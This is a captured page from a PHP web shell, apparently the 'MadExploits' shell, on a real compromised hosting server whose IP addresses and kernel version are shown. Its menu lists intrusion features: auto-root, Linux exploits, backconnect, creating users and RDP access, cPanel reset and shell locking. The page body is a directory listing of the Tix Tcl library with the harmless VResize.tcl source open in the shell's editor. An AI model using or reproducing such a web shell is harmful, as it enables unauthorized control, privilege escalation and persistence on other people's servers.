Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 52.15.170.196
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib64 /
tcl8.5 /
Tix8.4.3 /
[ HOME SHELL ]
Name
Size
Permission
Action
bitmaps
[ DIR ]
drwxr-xr-x
html
[ DIR ]
drwxr-xr-x
pref
[ DIR ]
drwxr-xr-x
Balloon.tcl
12.97
KB
-rw-r--r--
BtnBox.tcl
2.61
KB
-rw-r--r--
CObjView.tcl
7.56
KB
-rw-r--r--
ChkList.tcl
4.97
KB
-rw-r--r--
ComboBox.tcl
35.42
KB
-rw-r--r--
Compat.tcl
870
B
-rw-r--r--
Console.tcl
14.95
KB
-rw-r--r--
Control.tcl
12.11
KB
-rw-r--r--
DefSchm.tcl
2.94
KB
-rw-r--r--
DialogS.tcl
4.2
KB
-rw-r--r--
DirBox.tcl
5.3
KB
-rw-r--r--
DirDlg.tcl
2.15
KB
-rw-r--r--
DirList.tcl
6.9
KB
-rw-r--r--
DirTree.tcl
8.76
KB
-rw-r--r--
DragDrop.tcl
3.93
KB
-rw-r--r--
DtlList.tcl
1002
B
-rw-r--r--
EFileBox.tcl
11.12
KB
-rw-r--r--
EFileDlg.tcl
1.68
KB
-rw-r--r--
Event.tcl
5.11
KB
-rw-r--r--
FileBox.tcl
14
KB
-rw-r--r--
FileCbx.tcl
2.42
KB
-rw-r--r--
FileDlg.tcl
2.13
KB
-rw-r--r--
FileEnt.tcl
7.15
KB
-rw-r--r--
FloatEnt.tcl
3.1
KB
-rw-r--r--
Grid.tcl
21.16
KB
-rw-r--r--
HList.tcl
17.72
KB
-rw-r--r--
HListDD.tcl
4.39
KB
-rw-r--r--
IconView.tcl
5.97
KB
-rw-r--r--
Init.tcl
6.05
KB
-rw-r--r--
LabEntry.tcl
2.09
KB
-rw-r--r--
LabFrame.tcl
1.15
KB
-rw-r--r--
LabWidg.tcl
3.86
KB
-rw-r--r--
ListNBk.tcl
3.5
KB
-rw-r--r--
Meter.tcl
3.04
KB
-rw-r--r--
MultView.tcl
3.62
KB
-rw-r--r--
NoteBook.tcl
6.02
KB
-rw-r--r--
OldUtil.tcl
2.98
KB
-rw-r--r--
OptMenu.tcl
9.17
KB
-rw-r--r--
PanedWin.tcl
27.68
KB
-rw-r--r--
PopMenu.tcl
5.37
KB
-rw-r--r--
Primitiv.tcl
10.28
KB
-rw-r--r--
README.txt
987
B
-rw-r--r--
ResizeH.tcl
12.94
KB
-rw-r--r--
SGrid.tcl
5.8
KB
-rw-r--r--
SHList.tcl
3.7
KB
-rw-r--r--
SListBox.tcl
6.97
KB
-rw-r--r--
STList.tcl
2.37
KB
-rw-r--r--
SText.tcl
3.09
KB
-rw-r--r--
SWidget.tcl
9.52
KB
-rw-r--r--
SWindow.tcl
6.75
KB
-rw-r--r--
Select.tcl
7.04
KB
-rw-r--r--
Shell.tcl
1.06
KB
-rw-r--r--
SimpDlg.tcl
1.13
KB
-rw-r--r--
StackWin.tcl
1.95
KB
-rw-r--r--
StatBar.tcl
1.31
KB
-rw-r--r--
StdBBox.tcl
1.62
KB
-rw-r--r--
StdShell.tcl
1.15
KB
-rw-r--r--
TList.tcl
17.59
KB
-rw-r--r--
Tix.tcl
9.51
KB
-rw-r--r--
Tree.tcl
4.57
KB
-rw-r--r--
Utils.tcl
10.54
KB
-rw-r--r--
VResize.tcl
4.95
KB
-rw-r--r--
VStack.tcl
9.42
KB
-rw-r--r--
VTree.tcl
4.31
KB
-rw-r--r--
Variable.tcl
2.5
KB
-rw-r--r--
WInfo.tcl
965
B
-rw-r--r--
fs.tcl
3.9
KB
-rw-r--r--
libTix.so
320.71
KB
-rwxr-xr-x
license.terms
2.76
KB
-rw-r--r--
pkgIndex.tcl
122
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : VResize.tcl
# -*- mode: TCL; fill-column: 75; tab-width: 8; coding: iso-latin-1-unix -*- # # $Id: VResize.tcl,v 1.3 2004/03/28 02:44:57 hobbs Exp $ # # VResize.tcl -- # # tixVResize: # Virtual base class for all classes that provide resize capability, # such as the resize handle and the MDI client window. # # Copyright (c) 1993-1999 Ioi Kim Lam. # Copyright (c) 2000-2001 Tix Project Group. # Copyright (c) 2004 ActiveState # # See the file "license.terms" for information on usage and redistribution # of this file, and for a DISCLAIMER OF ALL WARRANTIES. # tixWidgetClass tixVResize { -virtual true -classname TixVResize -superclass tixPrimitive -method { drag dragend dragstart } -flag { -gridded -gridx -gridy -minwidth -minheight } -configspec { {-gridded gridded Gridded false} {-gridx gridX Grid 10} {-gridy gridY Grid 10} {-minwidth minWidth MinWidth 0} {-minheight minHeight MinHeight 0} } } proc tixVResize:InitWidgetRec {w} { upvar #0 $w data tixChainMethod $w InitWidgetRec set data(movePending) 0 set data(aborted) 0 set data(depress) 0 } #---------------------------------------------------------------------- # Public methods #---------------------------------------------------------------------- # Start dragging a window # proc tixVResize:dragstart {w win depress rootx rooty wrect mrect} { upvar #0 $w data set data(rootx) $rootx set data(rooty) $rooty set data(mx) [lindex $mrect 0] set data(my) [lindex $mrect 1] set data(mw) [lindex $mrect 2] set data(mh) [lindex $mrect 3] set data(fx) [lindex $wrect 0] set data(fy) [lindex $wrect 1] set data(fw) [lindex $wrect 2] set data(fh) [lindex $wrect 3] set data(old_x) [lindex $wrect 0] set data(old_y) [lindex $wrect 1] set data(old_w) [lindex $wrect 2] set data(old_h) [lindex $wrect 3] if {$data(mw) < 0} { set data(maxx) [expr {$data(fx) + $data(old_w) - $data(-minwidth)}] } else { set data(maxx) 32000 } if {$data(mh) < 0} { set data(maxy) [expr {$data(fy) + $data(old_h) - $data(-minheight)}] } else { set data(maxy) 32000 } set data(aborted) 0 tixCallMethod $w ShowHintFrame tixCallMethod $w SetHintFrame $data(fx) $data(fy) $data(fw) $data(fh) # Grab so that all button events are captured # grab $win focus $win set data(depress) $depress if {$depress} { set data(oldRelief) [$win cget -relief] $win config -relief sunken } } proc tixVResize:drag {w rootx rooty} { upvar #0 $w data if {$data(aborted) == 0} { set data(newrootx) $rootx set data(newrooty) $rooty if {$data(movePending) == 0} { set data(movePending) 1 after 2 tixVResize:DragCompressed $w } } } proc tixVResize:dragend {w win isAbort rootx rooty} { upvar #0 $w data if {$data(aborted)} { if {$isAbort == 0} { grab release $win } return } # Just in case some draggings are not applied. # update tixCallMethod $w HideHintFrame if {$isAbort} { set data(aborted) 1 } else { # Apply the changes # tixCallMethod $w UpdateSize $data(fx) $data(fy) $data(fw) $data(fh) # Release the grab # grab release $win } if {$data(depress)} { $win config -relief $data(oldRelief) } } #---------------------------------------------------------------------- # Internal methods #---------------------------------------------------------------------- proc tixVResize:DragCompressed {w} { if {![winfo exists $w]} { return } upvar #0 $w data if {$data(aborted) == 1 || $data(movePending) == 0} { return } set dx [expr {$data(newrootx) - $data(rootx)}] set dy [expr {$data(newrooty) - $data(rooty)}] set data(fx) [expr {$data(old_x) + ($dx * $data(mx))}] set data(fy) [expr {$data(old_y) + ($dy * $data(my))}] set data(fw) [expr {$data(old_w) + ($dx * $data(mw))}] set data(fh) [expr {$data(old_h) + ($dy * $data(mh))}] if {$data(fw) < $data(-minwidth)} { set data(fw) $data(-minwidth) } if {$data(fh) < $data(-minheight)} { set data(fh) $data(-minheight) } if {$data(fx) > $data(maxx)} { set data(fx) $data(maxx) } if {$data(fy) > $data(maxy)} { set data(fy) $data(maxy) } # If we need grid, set x,y,w,h to fit the grid # # *note* grid overrides minwidth and maxwidth ... # if {$data(-gridded)} { set data(fx) [expr {round(double($data(fx))/$data(-gridx)) * $data(-gridx)}] set data(fy) [expr {round(double($data(fy))/$data(-gridy)) * $data(-gridy)}] set fx2 [expr {$data(fx) + $data(fw) - 2}] set fy2 [expr {$data(fy) + $data(fh) - 2}] set fx2 [expr {round(double($fx2)/$data(-gridx)) * $data(-gridx)}] set fy2 [expr {round(double($fy2)/$data(-gridy)) * $data(-gridy)}] set data(fw) [expr {$fx2 - $data(fx) + 1}] set data(fh) [expr {$fy2 - $data(fy) + 1}] } tixCallMethod $w SetHintFrame $data(fx) $data(fy) $data(fw) $data(fh) update idletasks set data(movePending) 0 }
Close